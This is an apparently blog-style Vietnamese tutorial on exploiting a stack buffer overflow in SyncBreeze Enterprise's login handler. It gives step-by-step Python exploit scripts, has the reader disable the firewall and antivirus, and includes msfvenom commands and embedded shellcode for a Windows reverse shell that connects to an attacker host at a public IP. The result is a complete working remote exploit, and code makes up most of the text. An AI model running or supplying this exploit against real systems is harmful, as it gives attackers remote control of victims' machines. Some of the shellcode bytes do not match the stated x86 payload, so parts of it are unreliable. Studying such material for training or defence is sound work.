Buffer overflow có lẽ là một trong những lỗ hổng nổi tiếng nhất mà bất cứ ai làm về bảo mật cũng từng nghe nói về nó. Điều này cũng thể hiện rõ ràng thông qua các bài viết Viblo nói về chủ đề này. Các bạn có thể tìm hiểu tại đây, tại đây hoặc tại đây nữa ... đây nữa !!!.
Do đó trong bài viết này, mình sẽ cố gắng không đề cập tới các khái niệm liên quan tới Buffer overflow (điều mình không tự tin) mà trình bày một cách tối giản nhất việc sử dụng lỗ hổng này để khai thác một ứng dụng trong thực tế. Bắt đầu thôi nào !!
1. Chuẩn bị môi trường
-
Windows 10 x64 (Sử dụng để cài đặt Syncbreezeent và phục vụ debug)
-
Debian 11.6.0 (Sử dụng để viết mã và khai thác Server)
-
Download Syncbreezeent (https://www.exploit-db.com/apps/959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe)
-
Download Immunity Debugger (https://debugger.immunityinc.com/ID_register.py)
-
Download mona modules (https://github.com/corelan/mona)
Cài đặt
Step 1 : Tắt Window Firewall trên Windows Server
Window Firewall sẽ tự động block các port đáng ngờ ra bên ngoài, vì vậy có thể sẽ cản trở tới việc reverse shell về máy chủ tấn công
Step 2 : Tắt Window Defender :
Do Shellcode chúng ta inject vào chương trình là malware thuần túy , việc sử dụng Window Defender sẽ ngăn chặn quá trình tấn công và xảy ra hiện tượng "Em làm mãi mà nó không chạy"
Step 3 : Cài đặt Syncbreezeent
Step 4: Cài đặt Immunity Debugger
Step 5 Load mona module vào Immunity Debugger
Việc load mona module vào Immunity Debugger khá đơn giản , các bạn chỉ cần copy mona.py file bên trên vào đường dẫn C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands
là được.
Step 6: Start Service Syncbreezeent
Step 7: Cấu hình Syncbreezeent
Syncbreezeent mặc định sẽ không "phơi mặt" ra ngoài cho tới khi ta cấu hình tham số Enable WebServer on Port
, đồng thời thiết lập kèm username và password
Nếu cấu hình thành công giao diện chính của Syncbreezeent sẽ hiện ra như sau
Step 8: Khởi chạy Immunity Debugger với quyền administrator
Step 9: Attach Process Syncbreezeent vào Immunity Debugger
Trong thanh công cụ của Immunity Debugger ta tiến hành chọn File > Attach > Syncbreezeent. Sau khi attach, process sẽ tự dừng, ấn nút Play (bôi đỏ), khi này góc trái màn hình sẽ chuyển từ Pause
sang Running
Lưu ý :
- Khi chọn process Syncbreezeent phải chọn Syncbreezeent Enterprise chứ không phải Syncbreezeent Client
- Syncbreezeent sau một thời gian sẽ đòi hỏi license, nhưng có thể bỏ qua nó. Chương trình vẫn chạy "phà phà"
2. Khai thác
2.1. Replicating the Crash
Đầu tiên ta Fuzzing 1000 ký tự A
để đảm bảo chương trình bị Crash - Buffer Overflow
Code Fuzzing như sau
#!/usr/bin/python
import socket
try: print "\nSending evil buffer..." inputBuffer = "A" * 1000 content = "username=" + inputBuffer + "&password=A" buffer = "POST /login HTTP/1.1\r\n" buffer += "Host: 34.87.176.143\r\n" buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += "Accept-Language: en-US,en;q=0.5\r\n" buffer += "Refenrer: http://34.87.176.143:8082/login\r\n" buffer += "Connection: close\r\n" buffer += "Content-Type: application/x-www-form-urlencoded\r\n" buffer += "Content-Length: "+str(len(content))+"\r\n" buffer += "\r\n" buffer += content s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("34.87.176.143", 8082)) s.send(buffer) s.close() print "\nDone!"
except: print "Could not connect!"
Trong đó thay đổi các giá trị Server (34.87.176.143), Port (8082) , size (1000)
Chương trình bị Crash (chuyển từ Running
sang Pause
trong Immunity Debugger) là thành công. Nếu không thành công, chúng ta cần xét tới 2 trường hợp:
- Size bạn truyền vào chưa đủ lớn để chương trình bị tràn
- Bạn cấu hình sai các bước ở trên, dẫn tới chương trình chính không hoạt động
Sau khi xác minh chương trình bị ảnh hưởng bới Buffer Overflow ta có công thức tổng quát cuối cùng để RCE như sau :
inputBuffer = "A" * EIP + "BBBB" + "\x90" * 16 + Shellcode
2.2. Controlling EIP
Tạo 1000 ký tự khác nhau với tính năng pattern_create
của metasploit
locate pattern_create /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Chạy chương trình, code như sau
#!/usr/bin/python
import socket
try: print "\nSending evil buffer..." #inputBuffer = "A" * 1000 inputBuffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" content = "username=" + inputBuffer + "&password=A" buffer = "POST /login HTTP/1.1\r\n" buffer += "Host: 34.87.176.143\r\n" buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += "Accept-Language: en-US,en;q=0.5\r\n" buffer += "Referer: http://34.87.176.143:8082/login\r\n" buffer += "Connection: close\r\n" buffer += "Content-Type: application/x-www-form-urlencoded\r\n" buffer += "Content-Length: "+str(len(content))+"\r\n" buffer += "\r\n" buffer += content s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("34.87.176.143", 8082)) s.send(buffer) s.close() print "\nDone!"
except: print "Could not connect!"
Sau khi chạy, ta tìm được giá trị EIP = 42306142
Chương trình buffer thành công, nhưng hiện tại ta lại chưa biết chính xác bị crash ở điểm nào. Ta sử dụng pattern_offset
của metasploit xác định điều này
msf-pattern_offset -l 1000 -q 42306142
Vậy giá trị EIP trong trường hợp này là 780 !!!
Công thức trở thành
inputBuffer = "A" * 780 + "BBBB" + "\x90" * 16 + Shellcode
2.3. Finding a Return Address
Dùng mona để tìm kiếm chương trình không được bảo vệ bởi ASLR (Khái niệm ASLR ta có thể tìm hiểu tại đây https://en.wikipedia.org/wiki/Address_space_layout_randomization)
!mona modules
Sử dụng mona modules để tìm Return Address
!mona find -s “\xff\xe4” -m “libspp.dll”
Giá trị nhận được là 0x10 09 0c 83
Vậy Return Address sẽ được viết ngược thành 83 9c 09 10
-> \x83\x0c\x09\x10
Công thức bây giờ trở thành
inputBuffer = "A" * 780 + "\x83\x0c\x09\x10" + "\x90" * 16 + Shellcode
Tạo shellcode với msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=hacker.com LPORT=8080 -f c
"x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
Shellcode như mô tả ban đầu, sẽ được tạo từ Metasploit Framework, tuy nhiên nếu tạo một cách mặc định shellcode sẽ không chạy do chứa các byte mà chương trình không cho phép. Giống như hạt sạn trong bát cơm, quá trình sau được gọi là "nhặt sạn"
2.4. Checking for Bad Characters
Để tìm Bad Characters thì có khá nhiều cách, nhưng cách thủ công và tốn cơm (và hại mắt) (và mệt mỏi) nhất là ta tiến thành đưa toàn bộ Characters (0x01
tới 0xff
) vào chương trình để từ đó tìm ra character cụ thể nào bị loại bỏ (0x00 là null byte nên được mặc định là 1 Bad Character)
All Bad Characters như sau :
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
Đưa vào code sẽ trở thành như sau :
#!/usr/bin/python
import socket
try: print "\nSending evil buffer..." badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) inputBuffer = "A" * 780 + "BBBB" + "CCCC" + badchars content = "username=" + inputBuffer + "&password=A" buffer = "POST /login HTTP/1.1\r\n" buffer += "Host: 34.87.176.143\r\n" buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += "Accept-Language: en-US,en;q=0.5\r\n" buffer += "Referer: http://34.87.176.143:8082/login\r\n" buffer += "Connection: close\r\n" buffer += "Content-Type: application/x-www-form-urlencoded\r\n" buffer += "Content-Length: "+str(len(content))+"\r\n" buffer += "\r\n" buffer += content s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("34.87.176.143", 8082)) s.send(buffer) s.close() print "\nDone!"
except: print "Could not connect!"
Ở đây ta đếm 01
02
03
04
05
06
07
08
09
xong bắt đầu lỗi , vậy bad chars là 0A
Xóa 0A
ta có code
#!/usr/bin/python
import socket
try: print "\nSending evil buffer..." badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) inputBuffer = "A" * 780 + "BBBB" + "CCCC" + badchars content = "username=" + inputBuffer + "&password=A" buffer = "POST /login HTTP/1.1\r\n" buffer += "Host: 34.87.176.143\r\n" buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += "Accept-Language: en-US,en;q=0.5\r\n" buffer += "Referer: http://34.87.176.143:8082/login\r\n" buffer += "Connection: close\r\n" buffer += "Content-Type: application/x-www-form-urlencoded\r\n" buffer += "Content-Length: "+str(len(content))+"\r\n" buffer += "\r\n" buffer += content s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("34.87.176.143", 8082)) s.send(buffer) s.close() print "\nDone!"
except: print "Could not connect!"
Lặp lại quá trình này tới khi không còn thấy bad chars nào nữa ta tìm được
bad char = 00 0A 0D 25 26 2B 3D
2.5. Create shellcode with Metasploit
msfvenom -p windows/shell_reverse_tcp LHOST=34.126.181.39 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
shikata_ga_nai
là bộ encode payload của metasploit, ngày trước khá xịn nhưng trong môi trường thực tế thì để cho vui- Tham số -b ý nói msfvenom tạo cho tôi con shell với thông số này, nhưng làm ơn không sử dụng các ký tự sau "\x00\x0a\x0d\x25\x26\x2b\x3d"
Code sau cùng
#!/usr/bin/python
import socket
try: print "\nSending evil buffer..." shellcode = ("\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\x40\x76\x5a\x7b\xab\x8f\x8f\xea\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xbc\x3e\xd9"
"\x9f\x5b\x67\x43\xea\x40\x76\x1b\x2a\xea\xdf\xdd\xbb\x08"
"\x47\x88\x2d\xce\xc7\x04\xb8\x20\x3e\xd1\x29\xb3\xc7\x04"
"\xb8\x60\x3e\xd1\x09\xfb\xc2\xbe\x23\x08\x79\xed\x31\xe1"
"\xc7\xbe\x2a\xec\x4a\x3b\x07\xa9\xa3\xaf\xab\x81\xbf\x57"
"\x3a\xaa\x4e\x6d\x07\x12\x37\x0b\x33\x20\xdd\xaf\x61\x02"
"\x4a\x12\x7a\x7b\xe9\x0e\x92\x58\x7d\x58\x74\x2e\xfd\x8f"
"\xea\x40\xfd\xda\xf3\xab\x8f\x8f\xa2\xc5\xb6\x2e\x1c\xe3"
"\x8e\x5f\x61\x08\x6e\x1e\xf0\xeb\xaf\xdf\xa3\x41\xa6\xb9"
"\x2d\xe6\xbe\x46\xa2\xbf\xbf\x1b\xf0\x9f\x07\xc7\xeb\x96"
"\x3e\x6b\xbb\x07\xce\x4e\x23\x4d\x37\x5b\xba\x93\x6f\xfa"
"\x1b\x0c\x75\x16\x5f\xa3\xca\xb6\x3b\x35\xae\x02\x3f\x20"
"\xcf\xab\xa3\x41\xa6\x3c\x3a\x20\x83\xc7\xae\xcb\x36\x46"
"\x32\xaa\x5f\xce\x61\x44\xfe\x1b\x23\xe3\x8e\x5f\xab\x18"
"\x28\x03\x21\xea\xd7\xce\xb3\x01\x2c\x12\xf8\x47\xaf\xce"
"\xb8\xbf\x96\x02\x3a\xf2\xd5\xc7\x61\x52\x9f\x11\x84\x54"
"\x70\xd2\xa3\xfe\x01\x29\x49\xf4\xbc\xbd\xea\x40\x37\x0c"
"\x32\x22\x69\xc7\x6b\xac\xd6\x5b\x7b\xab\xc6\x06\x0f\x09"
"\xca\x58\x7b\xb4\x18\xad\x94\xf5\x51\x1b\x2f\xe2\x06\x6b"
"\xa6\xc9\x87\x1b\xc1\xe7\xf8\xa9\xed\xbf\xa3\x16\xf2\x41"
"\xe7\x8e\xeb\x40\x76\x03\x3a\x11\xa6\x0f\x81\x40\x89\x8f"
"\x11\xa1\xce\xd1\xba\x10\x3b\x6b\xb2\xe6\xbe\x4f\xa2\xbf"
"\xb6\x12\xf2\x69\xc7\x70\x2a\x08\xff\x9b\x3a\x11\x65\x80"
"\x35\xa0\x89\x8f\x33\x22\x48\xe5\xfa\x01\x2e\x16\xf2\x49"
"\xc7\x06\x13\x01\xcc\xc3\xde\xdf\xee\x70\x3f\xc5\xb6\x2e"
"\x71\xe2\x70\x41\x9f\xa5\x9e\xc9\x7b\xab\x8f\xc7\x69\xac"
"\x66\x12\xf2\x49\xc2\xbe\x23\x2a\x72\x1b\x23\xe3\x06\x76"
"\xab\xfa\x74\x83\xb3\xf4\x70\x5a\x69\xb8\x76\x24\x2e\xe3"
"\x0c\x4b\xca\x1e\xff\xac\x11\xeb\xce\xd6\x82\x40\x66\x5a"
"\x7b\xea\xd7\xc7\x63\xb2\x3e\x6b\xb2\xea\x35\xd7\x4e\x13"
"\x93\xa5\xae\xe3\x06\x4c\xa3\xc9\xb1\x17\x4a\x62\xc6\x06"
"\x1a\x08\xff\x80\x33\x22\x76\xce\x50\x42\xaf\x92\x24\x54"
"\x5a\x0c\x12\x40\x0b\x72\x23\xea\xd8\xd6\x82\x40\x36\x5a"
"\x7b\xea\xd7\xe5\xea\x1a\x37\xe0\x70\x84\x80\xbf\x15\x95"
"\x21\x03\x3a\x11\xfa\xe1\xa7\x21\x89\x8f\x32\x54\x41\x66"
"\xd6\xbf\x89\xa5\x33\xaa\x4c\xc7\xc3\x86\x3e\xdf\x8d\xde"
"\x3b\xce\x15\xa7\x2e\x30\x7b\xf2\xc6\x48\x28\xb0\xc3\xf8"
"\x2d\x54\x5a\x8f\xea") inputBuffer = "A" * 780 + "\x83\x0c\x09\x10" + "\x90" * 16 + shellcode + "\x90" * 16 content = "username=" + inputBuffer + "&password=A" buffer = "POST /login HTTP/1.1\r\n" buffer += "Host: 34.87.176.143\r\n" buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += "Accept-Language: en-US,en;q=0.5\r\n" buffer += "Referer: http://34.87.176.143:8082/login\r\n" buffer += "Connection: close\r\n" buffer += "Content-Type: application/x-www-form-urlencoded\r\n" buffer += "Content-Length: "+str(len(content))+"\r\n" buffer += "\r\n" buffer += content s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("34.87.176.143", 8082)) s.send(buffer) s.close() print "\nDone!"
except: print "Could not connect!"
2.6. Exploit !!!
Mọi thứ xong xuôi, ta tiến hành chạy mã khai thác (Nếu không chạy, quay trở lại bước 1)